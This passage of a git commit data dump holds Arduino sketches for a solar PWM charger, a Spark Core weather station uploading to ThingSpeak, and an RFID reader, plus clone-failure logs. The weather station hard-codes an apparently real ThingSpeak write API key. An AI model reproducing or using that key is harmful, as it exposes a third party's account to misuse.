<TimerOne.h> \/\/ using Timer1 library from http:\/\/www.arduino.cc\/playground\/Code\/Timer1\n\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ definitions\n#define TRUE 1\n#define FALSE 0\n#define ON TRUE\n#define OFF FALSE\n\n#define PWM_PIN 9 \/\/ the output pin for the pwm, connected to OC1A\n#define PWM_ENABLE_PIN 8 \/\/ pin used to control shutoff function of the IR2104 MOSFET driver\n#define TURN_ON_MOSFETS digitalWrite(PWM_ENABLE_PIN, HIGH) \/\/ enable MOSFET driver\n#define TURN_OFF_MOSFETS digitalWrite(PWM_ENABLE_PIN, LOW) \/\/ disable MOSFET driver\n\n#define ADC_SOL_AMPS_CHAN 1 \/\/ the adc channel to read solar amps\n#define ADC_SOL_VOLTS_CHAN 0 \/\/ the adc channel to read solar volts\n#define ADC_BAT_VOLTS_CHAN 2 \/\/ the adc channel to read battery volts\n\n#define PWM_FULL 1023 \/\/ the actual value used by the Timer1 routines for 100% pwm duty cycle\n#define PWM_MAX 0.5*PWM_FULL \/\/ the value for pwm duty cyle 0-100.0% (Resolution in \n#define PWM_MIN 0.01*PWM_FULL \/\/ the value for pwm duty cyle 0-100.0%\n#define PWM_START PWM_MIN \/\/ the value for pwm duty cyle 0-100.0%\n#define PWM_INC 4 \/\/ the value the increment to the pwm value for the ppt algorithm\n\n#define AVG_NUM 2 \/\/ number of iterations of the adc routine to average the adc readings\n#define SOL_AMPS_SCALE 0.5 \/\/ the scaling value for raw adc reading to get solar amps scaled by 100 [(1\/(0.005*(3.3k\/25))*(5\/1023)*100]\n#define SOL_VOLTS_SCALE 2.7 \/\/ the scaling value for raw adc reading to get solar volts scaled by 100 [((10+2.2)\/2.2)*(5\/1023)*100]\n#define BAT_VOLTS_SCALE 2.7 \/\/ the scaling value for raw adc reading to get battery volts scaled by 100 [((10+2.2)\/2.2)*(5\/1023)*100]\n\n#define ONE_SECOND 50000 \/\/ count for number of interrupt in 1 second on interrupt period of 20us\n \n#define PIN_LED 13 \/\/ LED connected to digital pin 13\n\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ global variables\nstruct system_states_t {\n int sol_amps; \/\/ solar amps in 10 mV (scaled by 100)\n int sol_volts; \/\/ solar volts in 10 mV (scaled by 100)\n int bat_volts; \/\/ battery volts in 10 mV (scaled by 100)\n int sol_watts; \/\/ solar watts in 10 mV (scaled by 100)\n uint16_t pwm_duty;\n} power_status;\n\nunsigned int seconds = 0; \/\/ seconds from timer routine\n \nvoid set_pwm_duty(int pwm);\n\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This routine is automatically called at powerup\/reset\n\/\/------------------------------------------------------------------------------------------------------\nvoid setup() \/\/ run once, when the sketch starts\n{\n Serial.begin(115200); \/\/ open the serial port at 9600 bps:\n pinMode(PWM_ENABLE_PIN, OUTPUT); \/\/ sets the digital pin as output\n Timer1.initialize(20); \/\/ initialize timer1, and set a 20uS period\n Timer1.pwm(PWM_PIN, 0); \/\/ setup pwm on pin 9, 0% duty cycle\n TURN_ON_MOSFETS; \/\/turn on MOSFET driver chip\n Timer1.attachInterrupt(callback); \/\/ attaches callback() as a timer overflow interrupt\n \n set_pwm_duty(PWM_START);\n}\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This is interrupt service routine for Timer1 that occurs every 20uS.\n\/\/ It is only used to incremtent the seconds counter. \n\/\/ Timer1 is also used to generate the pwm output.\n\/\/------------------------------------------------------------------------------------------------------\nvoid callback()\n{\n static unsigned int interrupt_counter = 0; \/\/ counter for 20us interrrupt\n\n if (interrupt_counter++ > ONE_SECOND) { \/\/increment interrupt_counter until one second has passed\n interrupt_counter = 0; \n seconds++; \/\/then increment seconds counter\n }\n}\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This routine reads and averages the analog inputs for this system, solar volts, solar amps and \n\/\/ battery volts. It is called with the adc channel number (pin number) and returns the average adc \n\/\/ value as an integer. \n\/\/------------------------------------------------------------------------------------------------------\nint read_adc(int channel){\n \n int sum = 0;\n \n for (int i=0; i<AVG_NUM; i++) { \/\/ loop through reading raw adc values AVG_NUM number of times \n int temp = analogRead(channel); \/\/ read the input pin \n sum += temp; \/\/ store sum for averaging\n \/\/ delayMicroseconds(2); \/\/ pauses for 50 microseconds \n }\n return(sum \/ AVG_NUM); \/\/ divide sum by AVG_NUM to get average and return it\n}\n\/\/-----------------------------------------------------------------------------------\n\/\/ This function prints int that was scaled by 100 with 2 decimal places\n\/\/-----------------------------------------------------------------------------------\nvoid print_int100_dec2(int temp) {\n\n Serial.print(temp\/100,DEC); \/\/ divide by 100 and print interger value\n Serial.print(\".\");\n if ((temp%100) < 10) { \/\/ if fractional value has only one digit\n Serial.print(\"0\"); \/\/ print a \"0\" to give it two digits\n Serial.print(temp%100,DEC); \/\/ get remainder and print fractional value\n }\n else {\n Serial.print(temp%100,DEC); \/\/ get remainder and print fractional value\n }\n}\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This routine uses the Timer1.pwm function to set the pwm duty cycle. The routine takes the value in\n\/\/ the variable pwm as 0-100 duty cycle and scales it to get 0-1034 for the Timer1 routine. \n\/\/ There is a special case for 100% duty cycle. Normally this would be have the top MOSFET on all the time\n\/\/ but the MOSFET driver IR2104 uses a charge pump to generate the gate voltage so it has to keep running \n\/\/ all the time. So for 100% duty cycle I set the pwm value to 1023 - 1 so it is on 99.9% almost full on \n\/\/ but is switches enough to keep the charge pump on IR2104 working.\n\/\/------------------------------------------------------------------------------------------------------\n\nvoid set_pwm_duty(int pwm) {\n\n if (pwm > PWM_MAX) {\t\t\t\t\t \/\/ check limits of PWM duty cyle and set to PWM_MAX\n pwm = PWM_MAX;\t\t\n }\n else if (pwm < PWM_MIN) {\t\t\t\t \/\/ if pwm is less than PWM_MIN then set it to PWM_MIN\n pwm = PWM_MIN;\n }\n \n power_status.pwm_duty = pwm; \/\/ store this value in the status\n \n if (pwm < PWM_MAX) {\n Timer1.pwm(PWM_PIN, PWM_FULL - pwm, 20); \/\/ use Timer1 routine to set pwm duty cycle at 20uS period\n \/\/Timer1.pwm(PWM_PIN,(PWM_FULL * (long)pwm \/ 100));\n }\t\t\t\t\t\t\t\t\t\t\t\t\n else if (pwm == PWM_MAX) {\t\t\t\t \/\/ if pwm set to 100% it will be on full but we have \n Timer1.pwm(PWM_PIN, 4, 1000); \/\/ keep switching so set duty cycle at 99.9% and slow down to 1000uS period \n \/\/Timer1.pwm(PWM_PIN,(PWM_FULL - 1)); \n }\t\t\t\t\t\t\t\t\t\t\t\t\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This routine prints all the data out to the serial port.\n\/\/------------------------------------------------------------------------------------------------------\nvoid print_data(void) {\n \n Serial.print(seconds,DEC);\n Serial.print(\" \");\n\n Serial.print(\"pwm = \");\n print_int100_dec2((long)power_status.pwm_duty * 10000 \/ (PWM_FULL - 1));\n Serial.print(\" \");\n\n Serial.print(\"s_amps = \");\n print_int100_dec2(power_status.sol_amps);\n Serial.print(\" \");\n\n Serial.print(\"s_volts = \");\n \/\/Serial.print(sol_volts,DEC);\n \/\/Serial.print(\" \");\n print_int100_dec2(power_status.sol_volts);\n Serial.print(\" \");\n\n Serial.print(\"s_watts = \");\n print_int100_dec2(power_status.sol_watts);\n Serial.print(\" \");\n\n Serial.print(\"b_volts = \");\n \/\/Serial.print(bat_volts,DEC);\n print_int100_dec2(power_status.bat_volts);\n Serial.print(\" \");\n\n Serial.print(\"\\n\\r\");\n}\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ This routine reads all the analog input values for the system. Then it multiplies them by the scale\n\/\/ factor to get actual value in volts or amps. Then it adds on a rounding value before dividing to get\n\/\/ the result scaled by 100 to give a fractional value of two decimal places. It also calculates the input\n\/\/ watts from the solar amps times the solar voltage and rounds and scales that by 100 (2 decimal places) also.\n\/\/------------------------------------------------------------------------------------------------------\nvoid read_data(void) {\n \n power_status.sol_amps = SOL_AMPS_SCALE * read_adc(ADC_SOL_AMPS_CHAN) ;\/\/ * read_adc(ADC_SOL_AMPS_CHAN); \/\/((read_adc(ADC_SOL_AMPS_CHAN) * SOL_AMPS_SCALE) + 5) \/ 10; \/\/input of solar amps result scaled by 100\n power_status.sol_volts = SOL_VOLTS_SCALE * read_adc(ADC_SOL_VOLTS_CHAN); \/\/((read_adc(ADC_SOL_VOLTS_CHAN) * SOL_VOLTS_SCALE) + 5) \/ 10; \/\/input of solar volts result scaled by 100\n power_status.bat_volts = BAT_VOLTS_SCALE * read_adc(ADC_BAT_VOLTS_CHAN); \/\/ ((read_adc(ADC_BAT_VOLTS_CHAN) * BAT_VOLTS_SCALE) + 5) \/ 10; \/\/input of battery volts result scaled by 100\n power_status.sol_watts = (int)((((long)power_status.sol_amps * (long)power_status.sol_volts) + 50) \/ 100); \/\/calculations of solar watts scaled by 10000 divide by 100 to get scaled by 100 \n}\n\/\/------------------------------------------------------------------------------------------------------\n\/\/ Main loop.\n\/\/ Right now the number of times per second that this main loop runs is set by how long the printing to \n\/\/ the serial port takes. You can speed that up by speeding up the baud rate.\n\/\/ You can also run the commented out code and the charger routines will run once a second.\n\/\/------------------------------------------------------------------------------------------------------\n\nvoid constant_power_control(int target_watts) {\n static int old_sol_watts = 0;\n \n int current_watts = power_status.sol_watts;\n int current_pwm = power_status.pwm_duty;\n \n if (target_watts < current_watts) {\n current_pwm -= PWM_INC;\n } else if (target_watts > current_watts) {\n current_pwm += PWM_INC;\n }\n \n set_pwm_duty(current_pwm);\n}\n\nvoid constant_voltage_control(int target_voltage) {\n static int old_bat_volt = 0;\n \n int current_voltage = power_status.bat_volts;\n int current_pwm = power_status.pwm_duty;\n \n if (target_voltage < current_voltage) {\n current_pwm -= PWM_INC;\n } else if (target_voltage > current_voltage) {\n current_pwm += PWM_INC;\n }\n \n set_pwm_duty(current_pwm);\n}\n\nvoid loop() \/\/ run over and over again\n{\n read_data(); \/\/read data from inputs\n\/\/ MPPT_state_machine(); \/\/run the charger state machine\n \n static int current_power = 0;\n static unsigned int prev_seconds = 0; \/\/ seconds value from previous pass\n if ((seconds - prev_seconds) > 4) { \n prev_seconds = seconds;\t\t\/\/ do this stuff once a second\n\n if (current_power >= 1600) {\n current_power = 1200;\n }\n else {\n current_power += 100;\n }\n }\n\n \/\/constant_voltage_control(current_power);\n constant_voltage_control(current_power);\n\n static unsigned int print_counter = 0;\n print_counter++;\n if (print_counter > 100) {\n print_data(); \/\/print data\n print_counter = 0;\n }\n \n\/\/ read_data(); \/\/read data from inputs\n\/\/ MPPT_state_machine();\n\/\/ print_data(); \/\/print data\n\/\/ }\n}\n\/\/------------------------------------------------------------------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ppt-boost\/ppt-boost.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"4b246913cd57f0509a4b789cd2048c8cdf7f139a","subject":"Create weatherstation.ino","message":"Create weatherstation.ino","repos":"edwios\/WeatherStation","old_file":"weatherstation.ino","new_file":"weatherstation.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"idDHT22.h\"\n\n\/****************************************************************************\n* Project: Weather Station NG *\n* *\n****************************************************************************\/\nextern char* itoa(int a, char* buffer, unsigned char radix);\n\n\/\/ Time (seconds) for each sleep\n#define PERIOD 300\n\/\/ Set UPDATE2CLOUD to true if you want the measurement sent to the cloud\n#define UPDATE2CLOUD true \n\/\/ Thingspeak API WRITE key\n#define THINGSPEAK_API_WRITEKEY \"89DQON6G9XOGVTR3\"\n#define version 101\n\n#define BACKLDUR 10000 \/\/ 10s\n#define TIMEOUT 10000\n#define CHTUPDPERIOD 300 \/\/ update every 300s\n\nint lastT;\n\/\/ int BackLight = A1;\nint BackLightTrigger = D3;\nint trigger = 0;\nbool refresh = true;\n\n\/\/ Pin out defs\nint led = D7;\n\n\/\/ declaration for AM2321 handler\nint idDHT22pin = D4; \/\/Digital pin for comunications\nvoid dht22_wrapper(); \/\/ must be declared before the lib initialization\nString status;\nfloat temp, humi = 0;\n\/\/ AM2321 instantiate\nidDHT22 DHT22(idDHT22pin, dht22_wrapper);\n\n\n\/\/ Thingspeak.com API\nTCPClient client;\nconst char * WRITEKEY = THINGSPEAK_API_WRITEKEY;\nconst char * serverName = \"api.thingspeak.com\";\nIPAddress server = {184,106,153,149};\n\n\/\/ 1.3\" 12864 OLED with SH1106 and Simplified Chinese IC for Spark Core\nint Rom_CS = A2;\nunsigned long fontaddr=0;\nchar dispCS[32];\n\n\/****************************************************************************\n*****************************************************************************\n**************************** OLED Driver *********************************\n*****************************************************************************\n****************************************************************************\/\n\n\n\/*****************************************************************************\n Funtion : OLED_WrtData\n Description: Write Data to OLED\n Input : byte8 ucCmd \n Output : NONE\n Return : NONE\n*****************************************************************************\/\nvoid transfer_data_lcd(byte ucData)\n{\n Wire.beginTransmission(0x78 >> 1); \n Wire.write(0x40); \/\/write data\n Wire.write(ucData);\n Wire.endTransmission();\n}\n\n\/*****************************************************************************\n Funtion : OLED_WrCmd\n Description: Write Command to OLED\n Input : byte8 ucCmd \n Output : NONE\n Return : NONE\n*****************************************************************************\/\nvoid transfer_command_lcd(byte ucCmd)\n{\n Wire.beginTransmission(0x78 >> 1); \/\/Slave address,SA0=0\n Wire.write(0x00); \/\/write command\n Wire.write(ucCmd); \n Wire.endTransmission();\n}\n\n\n\/* OLED Initialization *\/\nvoid initial_lcd()\n{\n digitalWrite(Rom_CS, HIGH);\n \/\/ Wire.enableDMAMode(true);\n Wire.begin();\n delay(20); \n transfer_command_lcd(0xAE); \/\/display off\n transfer_command_lcd(0x20); \/\/Set Memory Addressing Mode \n transfer_command_lcd(0x10); \/\/00,Horizontal Addressing Mode;01,Vertical Addressing Mode;10,Page Addressing Mode (RESET);11,Invalid\n transfer_command_lcd(0xb0); \/\/Set Page Start Address for Page Addressing Mode,0-7\n transfer_command_lcd(0xc8); \/\/Set COM Output Scan Direction\n transfer_command_lcd(0x00);\/\/---set low column address\n transfer_command_lcd(0x10);\/\/---set high column address\n transfer_command_lcd(0x40);\/\/--set start line address\n transfer_command_lcd(0x81);\/\/--set contrast control register\n transfer_command_lcd(0x7f);\n transfer_command_lcd(0xa1);\/\/--set segment re-map 0 to 127\n transfer_command_lcd(0xa6);\/\/--set normal display\n transfer_command_lcd(0xa8);\/\/--set multiplex ratio(1 to 64)\n transfer_command_lcd(0x3F);\/\/\n transfer_command_lcd(0xa4);\/\/0xa4,Output follows RAM content;0xa5,Output ignores RAM content\n transfer_command_lcd(0xd3);\/\/-set display offset\n transfer_command_lcd(0x00);\/\/-not offset\n transfer_command_lcd(0xd5);\/\/--set display clock divide ratio\/oscillator frequency\n transfer_command_lcd(0xf0);\/\/--set divide ratio\n transfer_command_lcd(0xd9);\/\/--set pre-charge period\n transfer_command_lcd(0x22); \/\/\n transfer_command_lcd(0xda);\/\/--set com pins hardware configuration\n transfer_command_lcd(0x12);\n transfer_command_lcd(0xdb);\/\/--set vcomh\n transfer_command_lcd(0x20);\/\/0x20,0.77xVcc\n transfer_command_lcd(0x8d);\/\/--set DC-DC enable\n transfer_command_lcd(0x14);\/\/\n transfer_command_lcd(0xaf);\/\/--turn on oled panel \n\n}\n\nvoid lcd_address(byte page,byte column)\n{\n\n transfer_command_lcd(0xb0 + column); \/* Page address *\/\n transfer_command_lcd((((page + 1) & 0xf0) >> 4) | 0x10); \/* 4 bit MSB *\/\n transfer_command_lcd(((page + 1) & 0x0f) | 0x00); \/* 4 bit LSB *\/ \n}\n\nvoid clear_screen()\n{\n unsigned char i,j;\n digitalWrite(Rom_CS, HIGH); \n for(i=0;i<8;i++)\n {\n transfer_command_lcd(0xb0 + i);\n transfer_command_lcd(0x00);\n transfer_command_lcd(0x10);\n for(j=0;j<132;j++)\n {\n transfer_data_lcd(0x00);\n }\n }\n\n}\n\nvoid display_128x64(byte *dp)\n{\n unsigned int i,j;\n for(j=0;j<8;j++)\n {\n lcd_address(0,j);\n for (i=0;i<132;i++)\n { \n if(i>=2&&i<130)\n {\n \/\/ Write data to OLED, increase address by 1 after each byte written\n transfer_data_lcd(*dp);\n dp++;\n }\n }\n\n }\n\n}\n\n\n\nvoid display_graphic_16x16(unsigned int page,unsigned int column,byte *dp)\n{\n unsigned int i,j;\n\n digitalWrite(Rom_CS, HIGH); \n for(j=2;j>0;j--)\n {\n lcd_address(column,page);\n for (i=0;i<16;i++)\n { \n transfer_data_lcd(*dp);\n dp++;\n }\n page++;\n }\n}\n\n\nvoid display_graphic_8x16(unsigned int page,byte column,byte *dp)\n{\n unsigned int i,j;\n \n for(j=2;j>0;j--)\n {\n lcd_address(column,page);\n for (i=0;i<8;i++)\n { \n \/\/ Write data to OLED, increase address by 1 after each byte written\n transfer_data_lcd(*dp);\n dp++;\n }\n page++;\n }\n\n}\n\n\n\/*\n Display a 5x7 dot matrix, ASCII or a 5x7 custom font, glyph, etc.\n*\/\n \nvoid display_graphic_5x7(unsigned int page,byte column,byte *dp)\n{\n unsigned int col_cnt;\n byte page_address;\n byte column_address_L,column_address_H;\n page_address = 0xb0 + page - 1;\/\/ \n \n \n \n column_address_L =(column&0x0f); \/\/ -1\n column_address_H =((column>>4)&0x0f)+0x10;\n \n transfer_command_lcd(page_address); \/*Set Page Address*\/\n transfer_command_lcd(column_address_H); \/*Set MSB of column Address*\/\n transfer_command_lcd(column_address_L); \/*Set LSB of column Address*\/\n \n for (col_cnt=0;col_cnt<6;col_cnt++)\n { \n transfer_data_lcd(*dp);\n dp++;\n }\n}\n\n\/**** Send command to Character ROM ***\/\nvoid send_command_to_ROM( byte datu )\n{\n SPI.transfer(datu);\n}\n\n\/**** Read a byte from the Character ROM ***\/\nbyte get_data_from_ROM( )\n{\n byte ret_data=0;\n ret_data = SPI.transfer(255);\n return(ret_data);\n}\n\n\n\/* \n* Read continuously from ROM DataLen's bytes and \n* put them into pointer pointed to by pBuff\n*\/\n\nvoid get_n_bytes_data_from_ROM(byte addrHigh,byte addrMid,byte addrLow,byte *pBuff,byte DataLen )\n{\n byte i;\n digitalWrite(Rom_CS, LOW);\n delayMicroseconds(100);\n send_command_to_ROM(0x03);\n send_command_to_ROM(addrHigh);\n send_command_to_ROM(addrMid);\n send_command_to_ROM(addrLow);\n\n for(i = 0; i < DataLen; i++ ) {\n *(pBuff+i) =get_data_from_ROM();\n }\n digitalWrite(Rom_CS, HIGH);\n}\n\n\n\/******************************************************************\/\n\nvoid display_string_5x7(byte y,byte x,const char *text)\n{\n unsigned char i= 0;\n unsigned char addrHigh,addrMid,addrLow ;\n while((text[i]>0x00))\n {\n \n if((text[i]>=0x20) &&(text[i]<=0x7e)) \n { \n unsigned char fontbuf[8]; \n fontaddr = (text[i]- 0x20);\n fontaddr = (unsigned long)(fontaddr*8);\n fontaddr = (unsigned long)(fontaddr+0x3bfc0); \n addrHigh = (fontaddr&0xff0000)>>16;\n addrMid = (fontaddr&0xff00)>>8;\n addrLow = fontaddr&0xff;\n\n get_n_bytes_data_from_ROM(addrHigh,addrMid,addrLow,fontbuf,8);\/*\u53d68\u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u5b58\u5230\"fontbuf[32]\"*\/\n \n display_graphic_5x7(y,x+1,fontbuf);\/*\u663e\u793a5x7\u7684ASCII\u5b57\u5230LCD\u4e0a\uff0cy\u4e3a\u9875\u5730\u5740\uff0cx\u4e3a\u5217\u5730\u5740\uff0cfontbuf[]\u4e3a\u6570\u636e*\/\n i+=1;\n x+=6;\n }\n else\n i++; \n }\n \n}\n\n\n\/****************************************************************************\n*****************************************************************************\n**************************** Data Upload *********************************\n*****************************************************************************\n****************************************************************************\/\n\nvoid sendToThingSpeak(const char * key, String mesg)\n{\n noInterrupts();\n client.stop();\n RGB.control(true);\n RGB.color(0,255,0);\n int lt = millis();\n display_string_5x7(6,1,\"Wifi\");\n\n while (!WiFi.ready() && (millis() - lt < TIMEOUT)) {\n display_string_5x7(6,1,\"Wifi...X\");\n delay(1000);\n }\n while (!client.connect(server,80) && (millis() - lt < TIMEOUT)) {\n display_string_5x7(6,1,\"Connecting Server...\");\n delay(15000);\n }\n if (millis() - lt < TIMEOUT) {\n display_string_5x7(6,1,\"Sending... \");\n client.print(\"POST \/update\");\n client.println(\" HTTP\/1.1\");\n client.print(\"Host: \");\n client.println(serverName);\n client.println(\"User-Agent: Spark\");\n client.println(\"Connection: close\");\n client.print(\"X-THINGSPEAKAPIKEY: \");\n client.println(key);\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.print(\"Content-length: \");\n client.println(mesg.length());\n client.println();\n client.println(mesg);\n client.flush();\n display_string_5x7(6,1,\"Waiting resp \");\n lt = millis();\n while (client.available() == false && millis() - lt < 1000) {\n \/\/ Just wait up to 1000 millis\n delay(200);\n }\n display_string_5x7(6,1,\"Reading resp \");\n lt = millis();\n while (client.available() > 0 && millis() - lt < 10000) {\n client.read();\n }\n client.flush();\n client.stop();\n RGB.control(false);\n display_string_5x7(6,1,\"Done \");\n } \n else{\n display_string_5x7(6,1,\"Connection Failed\");\n RGB.color(255,0,0);\n }\n interrupts();\n}\n\n\n\nint myVersion(String command)\n{\n return version;\n}\n\nvoid publishReadings()\n{\n if ((millis() - lastT) > (CHTUPDPERIOD * 1000)) {\n lastT = millis();\n readAM2321();\n char szEventInfo[64];\n sprintf(szEventInfo, \"field1=%.1f&field2=%.2f\", temp, humi);\n sendToThingSpeak(WRITEKEY,String(szEventInfo));\n Spark.sleep(CHTUPDPERIOD - 30);\n }\n}\n\nvoid backLightOn()\n{\n trigger = millis() + BACKLDUR;\n transfer_command_lcd(0xaf);\/\/--turn on oled panel \n \/\/display_string_5x7(6,1,\"DISP ON \");\n refresh = true;\n}\n\nvoid backLightOff()\n{\n \/\/display_string_5x7(6,1,\"DISP OFF\");\n transfer_command_lcd(0xae);\/\/--turn off oled panel \n refresh=false;\n}\n\n\n\/\/ This wrapper is in charge of calling\n\/\/ mus be defined like this for the lib work\nvoid dht22_wrapper() {\n DHT22.isrCallback();\n}\n\nvoid readAM2321() {\n int lt = millis();\n int result;\n\n detachInterrupt(BackLightTrigger);\n DHT22.acquire();\n while (DHT22.acquiring() && (millis() - lt < TIMEOUT))\n ;\n \/\/delay(500);\n \/\/DHT22.acquire();\n \/\/while (DHT22.acquiring())\n \/\/ ;\n if (millis() - lt >= TIMEOUT) {\n result = IDDHTLIB_ERROR_ACQUIRING;\n } else {\n result = DHT22.getStatus();\n }\n switch (result)\n {\n case IDDHTLIB_OK:\n status = \"OK\";\n break;\n case IDDHTLIB_ERROR_CHECKSUM:\n status = \"Checksum\";\n break;\n case IDDHTLIB_ERROR_ISR_TIMEOUT:\n status = \"ISR Time out\";\n break;\n case IDDHTLIB_ERROR_RESPONSE_TIMEOUT:\n status = \"Response time out\";\n break;\n case IDDHTLIB_ERROR_DATA_TIMEOUT:\n status = \"Data time out\";\n break;\n case IDDHTLIB_ERROR_ACQUIRING:\n status = \"Acquiring\";\n break;\n case IDDHTLIB_ERROR_DELTA:\n status = \"Delta time to small\";\n break;\n case IDDHTLIB_ERROR_NOTSTARTED:\n status = \"Not started\";\n break;\n default:\n status = \"Unknown\";\n break;\n }\n\n temp = DHT22.getCelsius();\n humi = DHT22.getHumidity();\n attachInterrupt(BackLightTrigger, backLightOn, RISING);\n\n}\n\n\n\/****************************************************************************\n*****************************************************************************\n************************** Initialization *********************************\n*****************************************************************************\n****************************************************************************\/\n\nvoid setup()\n{\n Time.zone(8);\n\n pinMode(led, OUTPUT);\n\/\/ pinMode(BackLight, OUTPUT);\n pinMode(BackLightTrigger, INPUT);\n\n \/\/ Register a Spark variable here\n Spark.variable(\"Temperature\", &temp, DOUBLE);\n Spark.variable(\"Pressure\", &humi, DOUBLE);\n attachInterrupt(BackLightTrigger, backLightOn, RISING);\n\n SPI.begin();\n SPI.setBitOrder(MSBFIRST);\n SPI.setDataMode(SPI_MODE3);\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n digitalWrite(Rom_CS, HIGH);\n\n initial_lcd(); \n clear_screen(); \/\/clear all dots\n digitalWrite(led, LOW);\n display_string_5x7(4,1,\"(c)2014 ioStation\");\n sprintf(dispCS, \"Version: %d\", version);\n display_string_5x7(6,1,dispCS);\n delay(1000);\n clear_screen(); \/\/clear all dots\n sprintf(dispCS, \"v%d\", version);\n display_string_5x7(7,1,dispCS);\n lastT = millis();\n backLightOn();\n}\n\n\/****************************************************************************\n*****************************************************************************\n************************** Main Proc Loop *********************************\n*****************************************************************************\n****************************************************************************\/\n\nvoid loop()\n{\n if (refresh) {\n Time.timeStr().substring(4,19).toCharArray(dispCS, 16);\n display_string_5x7(1,1,\" \");\n display_string_5x7(1,20,dispCS);\n\n readAM2321();\n status.toCharArray(dispCS, 18);\n display_string_5x7(6,1,dispCS);\n \n sprintf(dispCS, \"T: %0.1f, H: %0.1f \", temp, humi);\n display_string_5x7(3,1,dispCS);\n }\n\n publishReadings();\n \/\/backLightOn();\n if (trigger > 0 && millis() > trigger) {\n trigger = 0;\n backLightOff();\n }\n\n\n delay(500);\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'weatherstation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29819fb6eb65eb1d9df71672b0ba339efe02b3da","subject":"Added keymappings etc.","message":"Added keymappings etc.\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9b1535f7d2725a77c0999a3065424f79cacbf020","subject":"update calc_minute()","message":"update calc_minute()\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2c9407864b645755f1e7ca3ba602fc7cee00331c","subject":"Isolated working RFIDreader","message":"Isolated working RFIDreader\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"MF_ACM\/MF_ACM.ino","new_file":"MF_ACM\/MF_ACM.ino","new_contents":"#include <SoftwareSerial.h> \n\n#define RDM880_RX 2\n#define RDM880_TX 3\n#define bufferSize 255\n\n#define STX 0xAA\n#define ETX 0xBB\n\n#define CMD_READ 0x20\n#define CMD_WRITE 0x21\n#define CMD_INITVAL 0x22\n#define CMD_DECREMENT 0x23\n#define CMD_INCREMENT 0x24\n#define CMD_GET_SNR 0x25\n\n\/* RFID Reader\n Uses RDM880 breakout board with RX connected to pin 2 and TX connected to pin 3. \n Another serial interface is added by including the Software Serial library.\n Dummy signal from 3.3 V is connected to pin 4.\n\n Input:\n RFID tags\n Signal from Pin 4\n\n Output:\n Serial number of tag scanned\n Elapsed time\n\n Operation:\n Reader waits until a tag is scanned, then prints the serial number of the tag.\n Reader now waits for \"control\" signal, and when that signal goes high, counts time.\n\n*\/\n\n\/\/ instantiate new serial ports, Uno ports are reserved for serial monitor\nSoftwareSerial RDM880(RDM880_RX, RDM880_TX);\nchar txrxbuffer[bufferSize];\n\nconst int ledPin = 13;\nconst int signalPin = 4;\nconst int debounce = 25;\n\nvoid setup() {\n Serial.begin(57600);\n RDM880.begin(9600);\n pinMode(ledPin, OUTPUT);\n pinMode(signalPin, INPUT);\n}\n\nvoid loop() { \n bool standby = true;\n unsigned char responseFlag = NULL;\n unsigned long elapsedTime = 0;\n \n \/\/ send command packet to RDM880 to read serial number every second\n MF_GET_SNR(0x00);\n delay(100);\n digitalWrite(ledPin, LOW);\n\n responseFlag = getResponse(responseFlag);\n \n \/\/ LED on if an RFID is detected (idle packet only contains 7 bytes)\n if(responseFlag != NULL) {\n digitalWrite(ledPin, HIGH);\n \/\/ Machine is ready to fire, get ready to track time\n standby = false;\n elapsedTime = accumulator(standby);\n }\n Serial.println();\n}\n\nunsigned long accumulator(bool standby) {\n unsigned long startTime, endTime = 0;\n int signalState;\n int previousState = NULL;\n \n while(standby == false) {\n \/\/ read signal state\n signalState = digitalRead(signalPin);\n delay(debounce);\n\n \/\/ debounce check\n if (signalState == digitalRead(signalPin)) {\n \n \/\/ check for new ON signal\n if (previousState == LOW && signalState == HIGH) {\n startTime = millis();\n previousState = signalState;\n }\n \/\/ check for OFF signal\n else if (previousState == HIGH && signalState == LOW) {\n endTime = (millis() - startTime)\/1000;\n if (endTime != 0) {\n Serial.print(\"Elapsed time: \");\n Serial.print(endTime);\n }\n previousState = signalState;\n standby = true;\n }\n \/\/ no event\n else {\n previousState = signalState;\n }\n \n }\n \n }\n}\n\nunsigned char getResponse(unsigned char responseFlag) {\n int i = 0;\n unsigned char response[bufferSize];\n response[7] = NULL;\n \n while(RDM880.available()) {\n response[i] = RDM880.read();\n Serial.print(response[i], HEX);\n Serial.print(\" \");\n i++;\n }\n\n if (response[7] != NULL)\n return response[7];\n else\n return NULL; \n}\n\nvoid MF_GET_SNR(unsigned char DADD) {\n unsigned char CMD[] = { STX, DADD, 0x03, 